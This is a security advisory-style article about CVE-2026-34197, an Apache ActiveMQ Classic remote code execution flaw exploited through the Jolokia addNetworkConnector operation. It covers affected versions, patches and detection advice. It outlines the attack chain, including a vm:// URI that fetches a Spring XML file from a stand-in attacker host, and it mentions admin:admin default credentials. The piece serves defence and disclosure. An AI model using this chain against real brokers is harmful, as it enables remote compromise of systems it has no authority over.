CVE-2026-34197: 13-Year-Old Apache ActiveMQ RCE via Jolokia API Surfaces for In-the-Wild Attacks

Summary

CVE-2026-34197 is a remote code execution vulnerability in Apache ActiveMQ Classic that has existed since 2013, exploitable through the Jolokia management API via the addNetworkConnector operation. Attackers can chain a vm:// URI with a remote Spring XML configuration file to achieve arbitrary code execution as the broker process. As of April 16, 2026, CISA confirmed active exploitation in the wild and added it to the Known Exploited Vulnerabilities catalog with a federal patch deadline of April 30, 2026.

Full text

KEV Listed · Active Exploitation Confirmed CVE-2026-34197: 13-Year-Old Apache ActiveMQ RCE via Jolokia API Surfaces for In-the-Wild Attacks A remote code execution flaw hiding in plain sight in Apache ActiveMQ Classic since 2013 allows attackers to weaponize a documented management operation into full broker compromise — now confirmed exploited per CISA KEV. Dark Web Informer April 17, 2026 7 min read CVECVE-2026-34197 ProductApache ActiveMQ Classic (not Artemis) Bug ClassCWE-20 · CWE-94 CVSS 3.18.8 / High VectorAV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:H ExploitationActive · Added to CISA KEV Apr 16, 2026 ImpactArbitrary code execution as broker process KEV DeadlineApril 30, 2026 (federal) ReporterNaveen Sunkavally (Horizon3.ai) PoCgithub.com/dinosn/CVE-2026-34197 NVD Entrynvd.nist.gov/vuln/detail/CVE-2026-34197 Every so often a vulnerability surfaces that makes you wonder how it survived so long undetected. CVE-2026-34197 is one of those. It's a remote code execution flaw in Apache ActiveMQ Classic that has been sitting in the codebase for roughly 13 years, quietly reachable through a legitimate management API. It was disclosed in early April 2026, patched by the Apache ActiveMQ project, and — as of April 16, 2026 — added to CISA's Known Exploited Vulnerabilities catalog with active exploitation already reported in the wild. The vulnerability was discovered by Naveen Sunkavally of Horizon3.ai, who has publicly described using an AI assistant as part of the audit. The researcher's technical disclosure walks through how a documented broker-to-broker management operation was turned into a one-request path to arbitrary OS command execution. How it works ActiveMQ exposes a management interface called Jolokia at /api/jolokia/. Jolokia is a JMX-over-HTTP bridge: it lets you call MBean operations on the broker via ordinary HTTP requests. Historically, ActiveMQ had already been burned by a Jolokia-adjacent bug (CVE-2022-41678), and a fix tightened which operations were callable. CVE-2026-34197 bypasses the spirit of that earlier fix by going after the ActiveMQ MBeans themselves. One operation on the broker MBean — addNetworkConnector(String) — was never meant to be reachable the way it turned out to be. Its intended purpose is to bridge two brokers together at runtime for load distribution and high availability. You hand it a discovery URI, it sets up a network connection. Harmless enough, on paper. The trick is the URI scheme. ActiveMQ supports a "VM transport" written as vm://, originally designed for embedding a broker inside an application for unit tests and other in-process use cases. It's a lightweight, intra-JVM transport. But the vm:// URI accepts a brokerConfig parameter that can point to a remote Spring XML configuration file. When Spring loads that XML, it happily instantiates whatever beans it's told to — including beans that call Runtime.exec() on arbitrary OS commands. The attack chain Authenticate to Jolokia — or skip entirely on versions 6.0.0 through 6.1.1, where CVE-2024-32114 exposed the API without authentication. POST to /api/jolokia/ invoking addNetworkConnector on the broker MBean. Supply a vm:// URI with brokerConfig=xbean:http://attacker/evil.xml pointing to an attacker-controlled Spring config. Broker fetches the XML, Spring instantiates malicious beans, and commands execute as the ActiveMQ broker process — full RCE. It's one HTTP request to a documented management endpoint, using a documented operation, with a transport URI that was never supposed to be reachable remotely in the first place. That combination is why this sat unnoticed for over a decade. The authentication asterisk. The CVE is officially an authenticated RCE, but admin:admin remains the default credential on many ActiveMQ installations and these deployments are a well-documented graveyard of unchanged defaults. On versions 6.0.0 through 6.1.1, chaining with CVE-2024-32114 makes it effectively unauthenticated. Disclosure timeline 2013 Vulnerable code introduced in Apache ActiveMQ; addNetworkConnector accepts vm:// transports with remote brokerConfig. Nov 2022 Related Jolokia exec vulnerability (CVE-2022-41678) patched; fix tightens callable operations but does not address MBean-level path. Mar 2026 Naveen Sunkavally of Horizon3.ai identifies the MBean path during AI-assisted code audit and reports to Apache. Apr 6 Apache publishes security advisory; ActiveMQ 5.19.4 and 6.2.3 released with fix removing vm:// from addNetworkConnector. Apr 7 Horizon3.ai publishes full technical disclosure with exploitation details and detection guidance. Apr 16 CISA adds CVE-2026-34197 to the KEV catalog, confirming active exploitation; federal patch deadline set for April 30. Affected versions and patches The vulnerability affects all Apache ActiveMQ Classic releases in both the 5.x and 6.x branches prior to the fixed versions. Artemis is not affected. Apache has released patched versions that remove vm:// as an accepted transport for addNetworkConnector: Branch Fixed Version ActiveMQ Classic 5.x 5.19.4 ActiveMQ Classic 6.x 6.2.3 All releases before 5.19.4, and all releases from 6.0.0 through 6.2.2, are confirmed vulnerable. Versions 6.0.0 through 6.1.1 carry additional risk due to chaining with CVE-2024-32114. Why it matters right now ActiveMQ has a history of being weaponized quickly. CVE-2023-46604, an OpenWire RCE from late 2023, was picked up for ransomware deployment within weeks of disclosure. So when CISA adds a new ActiveMQ flaw to the KEV catalog citing confirmed in-the-wild exploitation — and SAFE Security separately reports active targeting of exposed Jolokia endpoints — the historical pattern strongly suggests this becomes a broader opportunistic campaign, not a quiet curiosity. A public proof-of-concept is now available on GitHub, which meaningfully lowers the skill bar for mass exploitation. The CVSS vector is also about as bad as it gets for a vulnerability labeled "requires privileges": network-reachable, low complexity, no user interaction, and total loss of confidentiality, integrity, and availability on the host. SSVC scoring from CISA marks exploitation as active and technical impact as total. What to do Patch immediately. Upgrade ActiveMQ Classic to 5.19.4 or 6.2.3. The fix removes vm:// as an accepted transport for addNetworkConnector — that operation was never supposed to wire up an in-process transport over the network anyway. Kill default credentials. If your broker is still running with admin:admin, fix that before anything else. This is good hygiene independent of this CVE and closes the front door used by most opportunistic ActiveMQ attacks. Lock down Jolokia exposure. The management API rarely needs to be reachable from general-purpose networks. Put it behind an allowlist, a VPN, or disable it entirely if your deployment doesn't depend on it. Hunt for indicators. Search broker logs for network connector activity referencing vm:// URIs with brokerConfig=xbean:http, and for POST requests to /api/jolokia/ whose bodies contain addNetworkConnector. Watch for post-exploitation. Monitor for outbound HTTP from the ActiveMQ broker process to unexpected hosts (the fetch of the attacker's XML), and unexpected child processes spawned by the ActiveMQ Java process (the Runtime.exec() payload). These catch successful exploitation regardless of how the attacker reached the endpoint. Bigger picture The researcher who found this bug publicly described using an AI assistant as part of the hunt. That's a small data point on a larger trend: AI-assisted code review is starting to surface vulnerabilities that have been sitting in widely-used open-source projects for more than a decade. The defensive takeaway isn't really about AI, though — it's that old code with new eyes keeps finding things, and patch cadences need to assume that cycle is speeding up. ActiveMQ remains a common choice for enterprise messaging, IoT data routing, and microservices communication, with depl

Indicators of Compromise

• cve — CVE-2026-34197
• cve — CVE-2022-41678
• cve — CVE-2024-32114

Entities